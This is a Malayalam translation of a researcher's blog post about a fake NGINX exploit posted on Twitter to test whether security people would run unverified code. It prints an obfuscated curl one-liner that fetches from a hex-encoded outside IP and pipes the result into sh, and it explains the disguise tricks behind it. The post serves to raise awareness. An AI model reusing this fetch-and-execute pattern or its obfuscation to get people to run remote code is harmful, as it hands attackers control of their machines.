വ്യാജ nginx ചൂഷണത്തോടുകൂടിയ ഒരു സാമൂഹിക പരീക്ഷണത്തിന്റെ വിജയം

കുറിപ്പ്. വിവർത്തനം.: രചയിതാവ് ജൂൺ 1 ന് പ്രസിദ്ധീകരിച്ച യഥാർത്ഥ കുറിപ്പ്, വിവര സുരക്ഷയിൽ താൽപ്പര്യമുള്ളവർക്കിടയിൽ ഒരു പരീക്ഷണം നടത്താൻ തീരുമാനിച്ചു. ഇത് ചെയ്യുന്നതിന്, അദ്ദേഹം വെബ് സെർവറിലെ ഒരു അജ്ഞാതമായ കേടുപാടുകൾക്കായി ഒരു വ്യാജ ചൂഷണം തയ്യാറാക്കി അത് തൻ്റെ ട്വിറ്ററിൽ പോസ്റ്റ് ചെയ്തു. അദ്ദേഹത്തിൻ്റെ അനുമാനങ്ങൾ - കോഡിലെ വ്യക്തമായ വഞ്ചന കാണുന്ന സ്പെഷ്യലിസ്റ്റുകൾ തൽക്ഷണം തുറന്നുകാട്ടണം - അത് യാഥാർത്ഥ്യമായില്ല എന്ന് മാത്രമല്ല... അവ എല്ലാ പ്രതീക്ഷകളെയും കവിയുന്നു, വിപരീത ദിശയിൽ: ട്വീറ്റിന് നിരവധി ആളുകളിൽ നിന്ന് വലിയ പിന്തുണ ലഭിച്ചു. അതിൻ്റെ ഉള്ളടക്കങ്ങൾ പരിശോധിക്കുക.

TL;DR: ഒരു സാഹചര്യത്തിലും sh അല്ലെങ്കിൽ bash-ൽ ഫയൽ പൈപ്പ്ലൈനിംഗ് ഉപയോഗിക്കരുത്. നിങ്ങളുടെ കമ്പ്യൂട്ടറിൻ്റെ നിയന്ത്രണം നഷ്ടപ്പെടുത്താനുള്ള മികച്ച മാർഗമാണിത്.

മെയ് 31-ന് സൃഷ്ടിച്ച ഒരു കോമിക് PoC ചൂഷണത്തെക്കുറിച്ചുള്ള ഒരു ചെറുകഥ നിങ്ങളുമായി പങ്കിടാൻ ഞാൻ ആഗ്രഹിക്കുന്നു. വാർത്തകളോടുള്ള പ്രതികരണമായി അദ്ദേഹം ഉടൻ പ്രത്യക്ഷപ്പെട്ടു അലിസ എസേജ് ഷെവ്ചെങ്കോ, അംഗം സീറോ ഡേ ഇനിഷ്യേറ്റീവ് (ZDI), RCE (റിമോട്ട് കോഡ് എക്‌സിക്യൂഷൻ) ലേക്ക് നയിക്കുന്ന NGINX-ലെ ഒരു അപകടസാധ്യതയെക്കുറിച്ചുള്ള വിവരങ്ങൾ ഉടൻ വെളിപ്പെടുത്തും. NGINX നിരവധി വെബ്‌സൈറ്റുകൾക്ക് ശക്തി നൽകുന്നതിനാൽ, വാർത്ത ഒരു ബോംബ് ഷെൽ ആയിരുന്നിരിക്കണം. എന്നാൽ “ഉത്തരവാദിത്തപരമായ വെളിപ്പെടുത്തൽ” പ്രക്രിയയിലെ കാലതാമസം കാരണം, എന്താണ് സംഭവിച്ചത് എന്നതിൻ്റെ വിശദാംശങ്ങൾ അറിയില്ല - ഇതാണ് സാധാരണ ZDI നടപടിക്രമം.

ട്വീറ്റ് NGINX ലെ ദുർബലത വെളിപ്പെടുത്തലിനെക്കുറിച്ച്

ചുരുളിൽ ഒരു പുതിയ അവ്യക്തത ടെക്നിക്കിൻ്റെ ജോലി പൂർത്തിയാക്കിയ ശേഷം, ഞാൻ യഥാർത്ഥ ട്വീറ്റ് ഉദ്ധരിച്ച്, കണ്ടെത്തിയ അപകടസാധ്യത ചൂഷണം ചെയ്യുന്ന ഒരു കോഡ് കോഡ് അടങ്ങിയ "ഒരു പ്രവർത്തിക്കുന്ന PoC ചോർത്തി". തീർച്ചയായും, ഇത് തികഞ്ഞ അസംബന്ധമായിരുന്നു. ഞാൻ ഉടനടി തുറന്നുകാട്ടപ്പെടുമെന്ന് ഞാൻ അനുമാനിച്ചു, ഏറ്റവും മികച്ചത് എനിക്ക് രണ്ട് റീട്വീറ്റുകൾ ലഭിക്കുമെന്ന് (ഓ കൊള്ളാം).

ട്വീറ്റ് വ്യാജ ചൂഷണത്തോടെ

എന്നിരുന്നാലും, പിന്നീട് എന്താണ് സംഭവിച്ചതെന്ന് എനിക്ക് സങ്കൽപ്പിക്കാൻ കഴിഞ്ഞില്ല. എൻ്റെ ട്വീറ്റിൻ്റെ ജനപ്രീതി കുതിച്ചുയർന്നു. അതിശയകരമെന്നു പറയട്ടെ, ഇപ്പോൾ (15:00 മോസ്കോ സമയം ജൂൺ 1) ഇത് വ്യാജമാണെന്ന് കുറച്ച് ആളുകൾക്ക് മനസ്സിലായി. പലരും അത് പരിശോധിക്കാതെ തന്നെ റീട്വീറ്റ് ചെയ്യുന്നു (അത് ഔട്ട്‌പുട്ട് ചെയ്യുന്ന മനോഹരമായ ASCII ഗ്രാഫിക്‌സിനെ അഭിനന്ദിക്കുക മാത്രമല്ല).

അത് എത്ര മനോഹരമാണെന്ന് നോക്കൂ!

ഈ ലൂപ്പുകളും നിറങ്ങളും മികച്ചതാണെങ്കിലും, ആളുകൾക്ക് അവ കാണുന്നതിന് അവരുടെ മെഷീനിൽ കോഡ് പ്രവർത്തിപ്പിക്കേണ്ടതുണ്ടെന്ന് വ്യക്തമാണ്. ഭാഗ്യവശാൽ, ബ്രൗസറുകൾ ഒരേ രീതിയിൽ പ്രവർത്തിക്കുന്നു, നിയമപരമായ പ്രശ്‌നങ്ങളിൽ അകപ്പെടാൻ ഞാൻ ആഗ്രഹിക്കുന്നില്ല എന്ന വസ്തുതയുമായി സംയോജിപ്പിച്ച്, എൻ്റെ സൈറ്റിൽ കുഴിച്ചിട്ടിരിക്കുന്ന കോഡ് അധിക കോഡ് ഇൻസ്റ്റാൾ ചെയ്യാനോ എക്‌സിക്യൂട്ട് ചെയ്യാനോ ശ്രമിക്കാതെ എക്കോ കോളുകൾ ചെയ്യുന്നു.

ഒരു ചെറിയ വ്യതിചലനം: നെറ്റ്സ്പൂക്കി, dnz, ഞാനും ടീമിലെ മറ്റ് ആളുകളും കൊള്ളസംഘം ചുരുളൻ കമാൻഡുകൾ അവ്യക്തമാക്കാൻ ഞങ്ങൾ കുറച്ച് കാലമായി വ്യത്യസ്ത വഴികൾ ഉപയോഗിച്ച് കളിക്കുന്നു, കാരണം ഇത് രസകരമാണ്... ഞങ്ങൾ ഗീക്ക്മാരാണ്. netspooky ഉം dnz ഉം എനിക്ക് വളരെ പ്രതീക്ഷ നൽകുന്ന നിരവധി പുതിയ രീതികൾ കണ്ടെത്തി. ഞാൻ തമാശയിൽ പങ്കുചേരുകയും തന്ത്രങ്ങളുടെ ബാഗിലേക്ക് IP ദശാംശ പരിവർത്തനങ്ങൾ ചേർക്കാൻ ശ്രമിക്കുകയും ചെയ്തു. ഐപിയെ ഹെക്സാഡെസിമൽ ഫോർമാറ്റിലേക്കും പരിവർത്തനം ചെയ്യാൻ കഴിയുമെന്ന് ഇത് മാറുന്നു. മാത്രമല്ല, ചുരുളുകളും മറ്റ് മിക്ക NIX ഉപകരണങ്ങളും ഹെക്സാഡെസിമൽ ഐപികൾ സന്തോഷത്തോടെ തിന്നുന്നു! അതിനാൽ അത് ബോധ്യപ്പെടുത്തുന്നതും സുരക്ഷിതമായി കാണപ്പെടുന്നതുമായ ഒരു കമാൻഡ് ലൈൻ സൃഷ്ടിക്കുക മാത്രമായിരുന്നു. ആത്യന്തികമായി ഞാൻ ഇതിൽ തീർപ്പാക്കി:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

സോഷ്യോ-ഇലക്‌ട്രോണിക് എഞ്ചിനീയറിംഗ് (SEE) - ഫിഷിംഗ് മാത്രമല്ല

സുരക്ഷിതത്വവും പരിചയവും ഈ പരീക്ഷണത്തിൻ്റെ പ്രധാന ഭാഗമായിരുന്നു. അവയാണ് അദ്ദേഹത്തിൻ്റെ വിജയത്തിലേക്ക് നയിച്ചതെന്ന് ഞാൻ കരുതുന്നു. "127.0.0.1" (പ്രശസ്ത ലോക്കൽ ഹോസ്റ്റ്) പരാമർശിച്ചുകൊണ്ട് കമാൻഡ് ലൈൻ വ്യക്തമായി സുരക്ഷയെ സൂചിപ്പിക്കുന്നു. ലോക്കൽഹോസ്റ്റ് സുരക്ഷിതമായി കണക്കാക്കപ്പെടുന്നു, അതിലെ ഡാറ്റ ഒരിക്കലും നിങ്ങളുടെ കമ്പ്യൂട്ടറിൽ നിന്ന് പുറത്തുപോകില്ല.

പരീക്ഷണത്തിൻ്റെ രണ്ടാമത്തെ പ്രധാന SEE ഘടകമായിരുന്നു പരിചയം. ടാർഗെറ്റ് പ്രേക്ഷകർ പ്രാഥമികമായി കമ്പ്യൂട്ടർ സുരക്ഷയുടെ അടിസ്ഥാനകാര്യങ്ങൾ പരിചിതരായ ആളുകളെ ഉൾക്കൊള്ളുന്നതിനാൽ, അതിൻ്റെ ഭാഗങ്ങൾ പരിചിതവും പരിചിതവുമാണെന്ന് തോന്നുന്ന തരത്തിൽ കോഡ് സൃഷ്ടിക്കേണ്ടത് പ്രധാനമാണ് (അതിനാൽ സുരക്ഷിതമാണ്). പഴയ ചൂഷണ സങ്കൽപ്പങ്ങളുടെ ഘടകങ്ങൾ കടമെടുത്ത് അസാധാരണമായ രീതിയിൽ സംയോജിപ്പിക്കുന്നത് വളരെ വിജയകരമാണെന്ന് തെളിയിക്കപ്പെട്ടിട്ടുണ്ട്.

വൺലൈനറിൻ്റെ വിശദമായ വിശകലനം ചുവടെയുണ്ട്. ഈ ലിസ്റ്റിലെ എല്ലാം ധരിക്കുന്നു കോസ്മെറ്റിക് സ്വഭാവം, കൂടാതെ അതിൻ്റെ യഥാർത്ഥ പ്രവർത്തനത്തിന് പ്രായോഗികമായി ഒന്നും ആവശ്യമില്ല.

ഏത് ഘടകങ്ങൾ ശരിക്കും ആവശ്യമാണ്? ഈ -gsS, -O 0x0238f06a, |sh വെബ് സെർവറും. വെബ് സെർവറിൽ ക്ഷുദ്രകരമായ നിർദ്ദേശങ്ങളൊന്നും അടങ്ങിയിട്ടില്ല, എന്നാൽ കമാൻഡുകൾ ഉപയോഗിച്ച് ASCII ഗ്രാഫിക്സ് നൽകിയിട്ടുണ്ട് echo ൽ അടങ്ങിയിരിക്കുന്ന സ്ക്രിപ്റ്റിൽ index.html. ഉപയോക്താവ് ഒരു വരി നൽകിയപ്പോൾ |sh മധ്യത്തിൽ, index.html ലോഡ് ചെയ്ത് നടപ്പിലാക്കി. ഭാഗ്യവശാൽ, വെബ് സെർവറിൻ്റെ സംരക്ഷകർക്ക് ദുരുദ്ദേശ്യങ്ങളൊന്നും ഉണ്ടായിരുന്നില്ല.

• ../../../%00 - ഡയറക്‌ടറിക്ക് അപ്പുറത്തേക്ക് പോകുന്നതിനെ പ്രതിനിധീകരിക്കുന്നു;
• ngx_stream_module.so - ക്രമരഹിതമായ NGINX മൊഡ്യൂളിലേക്കുള്ള പാത;
• /bin/sh%00<'protocol:TCP' - ഞങ്ങൾ സമാരംഭിക്കുകയാണെന്ന് കരുതപ്പെടുന്നു /bin/sh ടാർഗെറ്റ് മെഷീനിൽ ടിസിപി ചാനലിലേക്ക് ഔട്ട്പുട്ട് റീഡയറക്ട് ചെയ്യുക;
• -O 0x0238f06a#PLToffset - രഹസ്യ ഘടകം, അനുബന്ധമായി #PLToffset, PLT-ൽ അടങ്ങിയിരിക്കുന്ന മെമ്മറി ഓഫ്‌സെറ്റ് പോലെ കാണുന്നതിന്;
• |sh; - മറ്റൊരു പ്രധാന ഭാഗം. ആക്രമണകാരിയായ വെബ് സെർവറിൽ നിന്ന് വരുന്ന കോഡ് എക്സിക്യൂട്ട് ചെയ്യുന്നതിന് ഞങ്ങൾക്ക് ഔട്ട്പുട്ട് sh/bash-ലേക്ക് റീഡയറക്‌ട് ചെയ്യേണ്ടതുണ്ട്. 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - നെറ്റ്കാറ്റ് സൂചിപ്പിക്കുന്ന ഒരു ഡമ്മി /dev/tcp/localhostഅങ്ങനെ എല്ലാം വീണ്ടും സുരക്ഷിതമായി കാണപ്പെടുന്നു. വാസ്തവത്തിൽ, അത് ഒന്നും ചെയ്യുന്നില്ല, സൗന്ദര്യത്തിൻ്റെ വരിയിൽ ഉൾപ്പെടുത്തിയിട്ടുണ്ട്.

വൺ-ലൈൻ സ്ക്രിപ്റ്റിൻ്റെ ഡീകോഡിംഗും "സോഷ്യോ-ഇലക്ട്രോണിക് എഞ്ചിനീയറിംഗിൻ്റെ" (സങ്കീർണ്ണമായ ഫിഷിംഗ്) വശങ്ങളെക്കുറിച്ചുള്ള ചർച്ചയും ഇത് അവസാനിപ്പിക്കുന്നു.

വെബ് സെർവർ കോൺഫിഗറേഷനും പ്രതിരോധ നടപടികളും

എൻ്റെ സബ്‌സ്‌ക്രൈബർമാരിൽ ബഹുഭൂരിപക്ഷവും ഇൻഫോസെക്/ഹാക്കർമാരായതിനാൽ, അവരുടെ ഭാഗത്തുള്ള "താൽപ്പര്യം" പ്രകടിപ്പിക്കുന്നതിൽ നിന്ന് വെബ് സെർവറിനെ കുറച്ചുകൂടി പ്രതിരോധിക്കാൻ ഞാൻ തീരുമാനിച്ചു, അതിലൂടെ ആൺകുട്ടികൾക്ക് എന്തെങ്കിലും ചെയ്യാനുണ്ട് (അത് രസകരമായിരിക്കും. സജ്ജമാക്കുക). പരീക്ഷണം ഇപ്പോഴും നടന്നുകൊണ്ടിരിക്കുന്നതിനാൽ എല്ലാ അപകടങ്ങളും ഞാൻ ഇവിടെ പട്ടികപ്പെടുത്താൻ പോകുന്നില്ല, എന്നാൽ സെർവർ ചെയ്യുന്ന ചില കാര്യങ്ങൾ ഇതാ:

• ചില സോഷ്യൽ നെറ്റ്‌വർക്കുകളിലെ വിതരണ ശ്രമങ്ങൾ സജീവമായി നിരീക്ഷിക്കുകയും ലിങ്കിൽ ക്ലിക്കുചെയ്യാൻ ഉപയോക്താവിനെ പ്രോത്സാഹിപ്പിക്കുന്നതിന് വിവിധ പ്രിവ്യൂ ലഘുചിത്രങ്ങൾ മാറ്റിസ്ഥാപിക്കുകയും ചെയ്യുന്നു.
• ഷെൽ സ്‌ക്രിപ്റ്റ് കാണിക്കുന്നതിന് പകരം Chrome/Mozilla/Safari/etc എന്നിവയെ Thugcrowd പ്രൊമോഷണൽ വീഡിയോയിലേക്ക് റീഡയറക്‌ട് ചെയ്യുന്നു.
• നുഴഞ്ഞുകയറ്റത്തിൻ്റെ/പ്രകടമായ ഹാക്കിംഗിൻ്റെ വ്യക്തമായ സൂചനകൾക്കായുള്ള വാച്ചുകൾ, തുടർന്ന് NSA സെർവറുകളിലേക്ക് (ha!) അഭ്യർത്ഥനകൾ റീഡയറക്‌ട് ചെയ്യാൻ തുടങ്ങുന്നു.
• ഒരു സാധാരണ ബ്രൗസറിൽ നിന്ന് ഹോസ്റ്റ് സന്ദർശിക്കുന്ന ഉപയോക്താക്കളുടെ എല്ലാ കമ്പ്യൂട്ടറുകളിലും ഒരു ട്രോജനും ബയോസ് റൂട്ട്കിറ്റും ഇൻസ്റ്റാൾ ചെയ്യുന്നു (തമാശ!).

ആൻ്റിമറുകളുടെ ഒരു ചെറിയ ഭാഗം

ഈ സാഹചര്യത്തിൽ, അപ്പാച്ചെയുടെ ചില സവിശേഷതകൾ - പ്രത്യേകിച്ചും, അഭ്യർത്ഥനകൾ റീഡയറക്‌ടുചെയ്യുന്നതിനുള്ള രസകരമായ നിയമങ്ങൾ - എൻ്റെ ഏക ലക്ഷ്യം - ഞാൻ ചിന്തിച്ചു: എന്തുകൊണ്ട്?

NGINX ചൂഷണം (യഥാർത്ഥം!)

സബ്‌സ്‌ക്രൈബുചെയ്യുക @അലിസാസേജ് Twitter-ൽ, NGINX-ലെ യഥാർത്ഥ കേടുപാടുകൾ പരിഹരിക്കുന്നതിനും അവസരങ്ങൾ ചൂഷണം ചെയ്യുന്നതിനും ZDI-യുടെ മഹത്തായ പ്രവർത്തനം പിന്തുടരുക. അവരുടെ പ്രവൃത്തി എന്നെ എപ്പോഴും ആകർഷിച്ചിട്ടുണ്ട്, എൻ്റെ വിഡ്ഢിത്തമായ ട്വീറ്റ് കാരണമായ എല്ലാ പരാമർശങ്ങളോടും അറിയിപ്പുകളോടും ക്ഷമയോടെ ആലീസിനോട് ഞാൻ നന്ദിയുള്ളവളാണ്. ഭാഗ്യവശാൽ, ഇത് ചില ഗുണങ്ങളും ചെയ്തു: ഇത് NGINX കേടുപാടുകൾ, ചുരുളൻ ദുരുപയോഗം മൂലമുണ്ടാകുന്ന പ്രശ്നങ്ങൾ എന്നിവയെക്കുറിച്ച് അവബോധം വളർത്താൻ സഹായിച്ചു.

അവലംബം: www.habr.com